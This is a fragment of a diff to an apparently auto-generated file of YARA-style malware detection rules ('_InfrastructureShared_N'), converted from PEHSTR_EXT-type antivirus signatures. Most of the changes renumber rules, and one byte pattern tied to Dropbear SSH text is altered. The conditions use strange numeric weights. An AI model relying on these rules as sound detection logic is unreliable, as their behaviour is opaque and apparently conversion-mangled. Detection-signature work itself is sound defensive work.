((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_284{ +rule _InfrastructureShared_287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2879,7 +2918,7 @@ rule _InfrastructureShared_284{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_285{ +rule _InfrastructureShared_288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2890,7 +2929,7 @@ rule _InfrastructureShared_285{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*19567) >=2 } -rule _InfrastructureShared_286{ +rule _InfrastructureShared_289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2900,7 +2939,7 @@ rule _InfrastructureShared_286{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_287{ +rule _InfrastructureShared_290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2911,7 +2950,7 @@ rule _InfrastructureShared_287{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*21620) >=2 } -rule _InfrastructureShared_288{ +rule _InfrastructureShared_291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2921,7 +2960,7 @@ rule _InfrastructureShared_288{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_289{ +rule _InfrastructureShared_292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2931,7 +2970,7 @@ rule _InfrastructureShared_289{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_290{ +rule _InfrastructureShared_293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -2942,7 +2981,7 @@ rule _InfrastructureShared_290{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29301) >=1 } -rule _InfrastructureShared_291{ +rule _InfrastructureShared_294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2952,7 +2991,7 @@ rule _InfrastructureShared_291{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_292{ +rule _InfrastructureShared_295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -2963,7 +3002,7 @@ rule _InfrastructureShared_292{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18746) >=2 } -rule _InfrastructureShared_293{ +rule _InfrastructureShared_296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2973,7 +3012,7 @@ rule _InfrastructureShared_293{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_294{ +rule _InfrastructureShared_297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2983,7 +3022,7 @@ rule _InfrastructureShared_294{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_295{ +rule _InfrastructureShared_298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -2993,7 +3032,7 @@ rule _InfrastructureShared_295{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_296{ +rule _InfrastructureShared_299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3004,7 +3043,7 @@ rule _InfrastructureShared_296{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587) >=2 } -rule _InfrastructureShared_297{ +rule _InfrastructureShared_300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3014,7 +3053,7 @@ rule _InfrastructureShared_297{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_298{ +rule _InfrastructureShared_301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -3025,7 +3064,7 @@ rule _InfrastructureShared_298{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21320) >=1 } -rule _InfrastructureShared_299{ +rule _InfrastructureShared_302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3035,7 +3074,7 @@ rule _InfrastructureShared_299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_300{ +rule _InfrastructureShared_303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3045,7 +3084,7 @@ rule _InfrastructureShared_300{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_301{ +rule _InfrastructureShared_304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3055,7 +3094,7 @@ rule _InfrastructureShared_301{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_302{ +rule _InfrastructureShared_305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -3066,7 +3105,7 @@ rule _InfrastructureShared_302{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=1 } -rule _InfrastructureShared_303{ +rule _InfrastructureShared_306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3077,7 +3116,7 @@ rule _InfrastructureShared_303{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_304{ +rule _InfrastructureShared_307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3087,7 +3126,7 @@ rule _InfrastructureShared_304{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_305{ +rule _InfrastructureShared_308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -3097,7 +3136,7 @@ rule _InfrastructureShared_305{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_306{ +rule _InfrastructureShared_309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -3108,7 +3147,7 @@ rule _InfrastructureShared_306{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448) >=2 } -rule _InfrastructureShared_307{ +rule _InfrastructureShared_310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -3118,7 +3157,7 @@ rule _InfrastructureShared_307{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_308{ +rule _InfrastructureShared_311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3128,7 +3167,7 @@ rule _InfrastructureShared_308{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_309{ +rule _InfrastructureShared_312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3138,7 +3177,7 @@ rule _InfrastructureShared_309{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_310{ +rule _InfrastructureShared_313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3148,7 +3187,7 @@ rule _InfrastructureShared_310{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_311{ +rule _InfrastructureShared_314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3158,7 +3197,7 @@ rule _InfrastructureShared_311{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_312{ +rule _InfrastructureShared_315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -3170,7 +3209,7 @@ rule _InfrastructureShared_312{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_48_2 & 1)*8448) >=1 } -rule _InfrastructureShared_313{ +rule _InfrastructureShared_316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -3181,7 +3220,7 @@ rule _InfrastructureShared_313{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*25968) >=30 } -rule _InfrastructureShared_314{ +rule _InfrastructureShared_317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3191,7 +3230,7 @@ rule _InfrastructureShared_314{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_315{ +rule _InfrastructureShared_318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3201,7 +3240,7 @@ rule _InfrastructureShared_315{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_316{ +rule _InfrastructureShared_319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3211,7 +3250,7 @@ rule _InfrastructureShared_316{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_317{ +rule _InfrastructureShared_320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -3223,7 +3262,7 @@ rule _InfrastructureShared_317{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25955+(#a_6e_2 & 1)*0) >=3 } -rule _InfrastructureShared_318{ +rule _InfrastructureShared_321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -3235,7 +3274,7 @@ rule _InfrastructureShared_318{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24950+(#a_6f_2 & 1)*28265) >=3 } -rule _InfrastructureShared_319{ +rule _InfrastructureShared_322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3245,7 +3284,7 @@ rule _InfrastructureShared_319{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_320{ +rule _InfrastructureShared_323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3255,7 +3294,7 @@ rule _InfrastructureShared_320{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_321{ +rule _InfrastructureShared_324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -3268,7 +3307,7 @@ rule _InfrastructureShared_321{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_b9_2 & 1)*1280+(#a_00_3 & 1)*-21917) >=3 } -rule _InfrastructureShared_322{ +rule _InfrastructureShared_325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -3281,7 +3320,7 @@ rule _InfrastructureShared_322{ ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*4034+(#a_69_2 & 1)*25445+(#a_73_3 & 1)*21092) >=4 } -rule _InfrastructureShared_323{ +rule _InfrastructureShared_326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -3293,7 +3332,7 @@ rule _InfrastructureShared_323{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25455+(#a_01_2 & 1)*28271) >=1 } -rule _InfrastructureShared_324{ +rule _InfrastructureShared_327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -3306,7 +3345,7 @@ rule _InfrastructureShared_324{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28021+(#a_4e_2 & 1)*384+(#a_63_3 & 1)*30063) >=2 } -rule _InfrastructureShared_325{ +rule _InfrastructureShared_328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -3319,7 +3358,7 @@ rule _InfrastructureShared_325{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*-29875+(#a_8b_2 & 1)*2122+(#a_73_3 & 1)*24946) >=4 } -rule _InfrastructureShared_326{ +rule _InfrastructureShared_329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -3331,7 +3370,7 @@ rule _InfrastructureShared_326{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29812+(#a_fb_2 & 1)*-6019) >=30 } -rule _InfrastructureShared_327{ +rule _InfrastructureShared_330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -3345,7 +3384,7 @@ rule _InfrastructureShared_327{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30065+(#a_69_2 & 1)*20583+(#a_43_3 & 1)*25934+(#a_00_4 & 1)*27746) >=4 } -rule _InfrastructureShared_328{ +rule _InfrastructureShared_331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -3359,7 +3398,7 @@ rule _InfrastructureShared_328{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29286+(#a_63_2 & 1)*25701+(#a_64_3 & 1)*29797+(#a_6c_4 & 1)*29555) >=5 } -rule _InfrastructureShared_329{ +rule _InfrastructureShared_332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -3374,7 +3413,7 @@ rule _InfrastructureShared_329{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25185+(#a_74_2 & 1)*27749+(#a_63_3 & 1)*27234+(#a_68_4 & 1)*21327+(#a_52_5 & 1)*21320) >=2 } -rule _InfrastructureShared_330{ +rule _InfrastructureShared_333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -3389,7 +3428,7 @@ rule _InfrastructureShared_330{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25955+(#a_67_2 & 1)*20033+(#a_6b_3 & 1)*25720+(#a_53_4 & 1)*25965+(#a_53_5 & 1)*27753) >=3 } -rule _InfrastructureShared_331{ +rule _InfrastructureShared_334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -3400,7 +3439,7 @@ rule _InfrastructureShared_331{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*12392) >=1 } -rule _InfrastructureShared_332{ +rule _InfrastructureShared_335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -3415,7 +3454,7 @@ rule _InfrastructureShared_332{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*21249+(#a_6e_2 & 1)*14930+(#a_65_3 & 1)*24910+(#a_52_4 & 1)*21320+(#a_44_5 & 1)*30062) >=2 } -rule _InfrastructureShared_333{ +rule _InfrastructureShared_336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -3430,7 +3469,7 @@ rule _InfrastructureShared_333{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29295+(#a_00_2 & 1)*29551+(#a_6d_3 & 1)*28229+(#a_74_4 & 1)*19832+(#a_01_5 & 1)*2048) >=6 } -rule _InfrastructureShared_334{ +rule _InfrastructureShared_337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -3444,7 +3483,7 @@ rule _InfrastructureShared_334{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*17769+(#a_69_2 & 1)*29551+(#a_00_3 & 1)*12147+(#a_79_4 & 1)*384) >=2 } -rule _InfrastructureShared_335{ +rule _InfrastructureShared_338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -3459,7 +3498,7 @@ rule _InfrastructureShared_335{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28524+(#a_52_4 & 1)*21320+(#a_6e_5 & 1)*28271+(#a_65_6 & 1)*384+(#a_63_7 & 1)*17780) >=6 } -rule _InfrastructureShared_336{ +rule _InfrastructureShared_339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -3476,7 +3515,7 @@ rule _InfrastructureShared_336{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26995+(#a_00_2 & 1)*6+(#a_49_3 & 1)*21076+(#a_70_5 & 1)*29251+(#a_74_6 & 1)*31090+(#a_65_7 & 1)*24934+(#a_01_8 & 1)*25971) >=2 } -rule _InfrastructureShared_337{ +rule _InfrastructureShared_340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -3493,7 +3532,7 @@ rule _InfrastructureShared_337{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_79_2 & 1)*17153+(#a_00_3 & 1)*29281+(#a_63_4 & 1)*26226+(#a_80_5 & 1)*1+(#a_f1_6 & 1)*0+(#a_70_7 & 1)*27503) >=6 } -rule _InfrastructureShared_338{ +rule _InfrastructureShared_341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -3511,7 +3550,7 @@ rule _InfrastructureShared_338{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25955+(#a_74_2 & 1)*24932+(#a_55_3 & 1)*25927+(#a_65_4 & 1)*384+(#a_65_5 & 1)*28233+(#a_6c_6 & 1)*22132+(#a_23_7 & 1)*2+(#a_02_8 & 1)*-31290) >=2 } -rule _InfrastructureShared_339{ +rule _InfrastructureShared_342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -3529,7 +3568,7 @@ rule _InfrastructureShared_339{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*19969+(#a_00_2 & 1)*28271+(#a_74_3 & 1)*18177+(#a_6d_4 & 1)*27759+(#a_69_5 & 1)*25710+(#a_44_6 & 1)*25972+(#a_85_7 & 1)*27904+(#a_85_8 & 1)*4864) >=3 } -rule _InfrastructureShared_340{ +rule _InfrastructureShared_343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -3546,7 +3585,7 @@ rule _InfrastructureShared_340{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_00_2 & 1)*25965+(#a_6e_3 & 1)*17921+(#a_02_4 & 1)*-31290+(#a_c6_5 & 1)*0+(#a_00_6 & 1)*32133+(#a_c6_7 & 1)*28416) >=4 } -rule _InfrastructureShared_341{ +rule _InfrastructureShared_344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -3557,7 +3596,7 @@ rule _InfrastructureShared_341{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*0) >=1 } -rule _InfrastructureShared_342{ +rule _InfrastructureShared_345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -3567,7 +3606,7 @@ rule _InfrastructureShared_342{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_343{ +rule _InfrastructureShared_346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -3585,7 +3624,7 @@ rule _InfrastructureShared_343{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25972+(#a_00_2 & 1)*50+(#a_6f_3 & 1)*29793+(#a_53_4 & 1)*-32745+(#a_53_5 & 1)*29810+(#a_24_6 & 1)*8308+(#a_6d_8 & 1)*20993+(#a_73_9 & 1)*25449) >=10 } -rule _InfrastructureShared_344{ +rule _InfrastructureShared_347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -3601,7 +3640,7 @@ rule _InfrastructureShared_344{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*384+(#a_73_2 & 1)*25455+(#a_74_3 & 1)*11621+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_345{ +rule _InfrastructureShared_348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -3623,7 +3662,7 @@ rule _InfrastructureShared_345{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29541+(#a_47_2 & 1)*-32736+(#a_72_3 & 1)*26707+(#a_65_4 & 1)*20737+(#a_42_5 & 1)*28271+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1) >=4 } -rule _InfrastructureShared_346{ +rule _InfrastructureShared_349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 1c 00 21 " @@ -3660,7 +3699,7 @@ rule _InfrastructureShared_346{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27182+(#a_41_2 & 1)*384+(#a_65_3 & 1)*25465+(#a_6d_4 & 1)*29287+(#a_00_5 & 1)*25966+(#a_72_6 & 1)*22016+(#a_00_7 & 1)*0+(#a_21_8 & 1)*51+(#a_00_9 & 1)*-22272+(#a_00_10 & 1)*-22272+(#a_00_11 & 1)*-22272+(#a_00_12 & 1)*-22272+(#a_00_13 & 1)*-22272+(#a_00_14 & 1)*-22272+(#a_00_15 & 1)*-22272+(#a_00_16 & 1)*-17152+(#a_00_17 & 1)*-17152+(#a_00_18 & 1)*-17152+(#a_00_19 & 1)*-17152+(#a_00_20 & 1)*-17152+(#a_00_21 & 1)*-17152+(#a_00_22 & 1)*-17152+(#a_00_23 & 1)*-17152+(#a_00_24 & 1)*-17152+(#a_00_25 & 1)*-17152+(#a_00_26 & 1)*-17152+(#a_00_27 & 1)*-17152) >=28 } -rule _InfrastructureShared_347{ +rule _InfrastructureShared_350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -3673,7 +3712,7 @@ rule _InfrastructureShared_347{ ((#a_4c_0 & 1)*21539+(#a_6b_1 & 1)*24916+(#a_00_3 & 1)*-17152+(#a_00_4 & 1)*31232) >=2 } -rule _InfrastructureShared_348{ +rule _InfrastructureShared_351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3683,7 +3722,7 @@ rule _InfrastructureShared_348{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_349{ +rule _InfrastructureShared_352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3693,7 +3732,7 @@ rule _InfrastructureShared_349{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_350{ +rule _InfrastructureShared_353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3703,7 +3742,7 @@ rule _InfrastructureShared_350{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_351{ +rule _InfrastructureShared_354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3713,7 +3752,7 @@ rule _InfrastructureShared_351{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_352{ +rule _InfrastructureShared_355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3723,7 +3762,7 @@ rule _InfrastructureShared_352{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_353{ +rule _InfrastructureShared_356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3733,7 +3772,7 @@ rule _InfrastructureShared_353{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_354{ +rule _InfrastructureShared_357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3743,7 +3782,7 @@ rule _InfrastructureShared_354{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_355{ +rule _InfrastructureShared_358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3753,7 +3792,7 @@ rule _InfrastructureShared_355{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_356{ +rule _InfrastructureShared_359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3763,7 +3802,7 @@ rule _InfrastructureShared_356{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_357{ +rule _InfrastructureShared_360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3773,7 +3812,7 @@ rule _InfrastructureShared_357{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_358{ +rule _InfrastructureShared_361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -3783,7 +3822,7 @@ rule _InfrastructureShared_358{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_359{ +rule _InfrastructureShared_362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -3797,7 +3836,7 @@ rule _InfrastructureShared_359{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*28001+(#a_00_3 & 1)*105+(#a_65_4 & 1)*22125+(#a_01_5 & 1)*21574) >=6 } -rule _InfrastructureShared_360{ +rule _InfrastructureShared_363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 14 00 18 00 21 " @@ -3823,19 +3862,19 @@ rule _InfrastructureShared_360{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*17740+(#a_01_2 & 1)*21061+(#a_5d_3 & 1)*16709+(#a_00_4 & 1)*14694+(#a_40_6 & 1)*1536+(#a_00_8 & 1)*16390+(#a_54_10 & 1)*18432+(#a_41_12 & 1)*19523+(#a_61_13 & 1)*19483+(#a_69_14 & 1)*26723+(#a_01_17 & 1)*-17152+(#a_72_18 & 1)*25973+(#a_00_19 & 1)*65+(#a_69_20 & 1)*27491+(#a_72_21 & 1)*21614+(#a_01_22 & 1)*1032) >=20 } -rule _InfrastructureShared_361{ +rule _InfrastructureShared_364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {44 72 6f 70 62 65 61 72 53 53 48 2e 41 00 01 00 48 80 01 44 52 4f 50 42 45 41 52 5f 53 56 52 5f 50 55 42 4b 45 59 5f 41 55 54 48 20 61 6e 64 20 44 52 4f 50 42 45 41 52 5f 53 56 52 5f 50 41 53 53 57 4f 52 44 5f 41 55 54 48 20 61 } //21283 $a_72_1 = {63 6f 6d 6d 65 6e 64 65 64 2e 01 00 2b 80 01 69 64 5f 64 72 6f 70 62 65 61 72 20 69 73 20 72 65 } //25970 - $a_6d_2 = {6e 64 65 64 20 66 6f 72 20 63 6c 69 65 6e 74 20 6b 65 79 73 2e 01 00 2b 80 01 55 73 61 67 65 3a 20 25 73 20 2d 74 20 3c 74 79 70 65 3e 20 2d 66 20 3c 66 69 6c 65 6e 61 6d 65 3e 20 5b 2d 73 20 62 69 74 73 5d 00 00 bd 2a 01 00 20 0c 3a 00 c8 00 00 00 21 23 4c 75 61 3a 4e 65 77 57 72 69 74 74 65 6e 42 79 53 79 73 74 65 6d 50 72 } //28515 + $a_6d_2 = {6e 64 65 64 20 66 6f 72 20 63 6c 69 65 6e 74 20 6b 65 79 73 2e 01 00 2b 80 01 55 73 61 67 65 3a 20 25 73 20 2d 74 20 3c 74 79 70 65 3e 20 2d 66 20 3c 66 69 6c 65 6e 61 6d 65 3e 20 5b 2d 73 20 62 69 74 73 5d 00 00 bd 22 01 00 0d 15 13 00 fa 00 00 00 32 64 62 33 38 63 35 30 66 66 37 33 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 } //28515 condition: ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*25970+(#a_6d_2 & 1)*28515) >=2 } -rule _InfrastructureShared_362{ +rule _InfrastructureShared_365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,40 00 40 00 14 00 21 " @@ -3860,7 +3899,7 @@ rule _InfrastructureShared_362{ 